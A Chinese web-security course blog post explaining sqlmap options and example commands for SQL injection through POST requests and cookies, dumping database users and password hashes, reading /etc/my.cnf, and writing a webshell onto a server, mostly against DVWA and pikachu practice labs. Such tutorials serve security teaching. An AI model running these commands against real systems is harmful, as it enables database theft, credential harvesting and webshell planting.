风炫安全WEB安全学习第十八节课 使用SQLMAP自动化注入(二)

风炫安全WEB安全学习第十八节课 使用SQLMAP自动化注入(二)

  • –is-dba 当前用户权限(是否为root权限)
  • –dbs 所有数据库
  • –current-db 网站当前数据库
  • –users 所有数据库用户
  • –current-user 当前数据库用户
  • –random-agent 构造随机user-agent
  • –passwords 数据库密码
  • –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
  • –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)

post注入

使用burpsuite截取包,然后保存文件为1.txt(文件名随便取),再使用 sqlmap -r 1.txt --dbs

cookie注入

sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2(只有level达到2才会检测cookie)

读写文件

--file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
--file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
--file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

sqlmap -r "c:\request.txt" -p id –dbms mysql –file-dest "e:\php\htdocs\dvwa\inc\include\1.php" –file-write "f:\webshell\1112.php"

将本地的f:\webshell\1112.php 写入到 远程服务器上e:\php\htdocs\dvwa\inc\include\1.php

sqlmap -u "http://localhost/pikachu/vul/sqli/sqli_header/sqli_header.php" --cookie 'ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=6i60hcmeappdlkr216jovc0o6l' --level 2 --dbms mysql --file-read "/etc/my.cnf"

读取远程/etc/my.cnf文件

参考:
https://blog.evalshell.com/2020/12/20/风炫安全web安全学习第十八节课-使用sqlmap自动化注入二/

posted @ 2021-01-05 16:27  风炫安全  阅读(86)  评论(0编辑  收藏  举报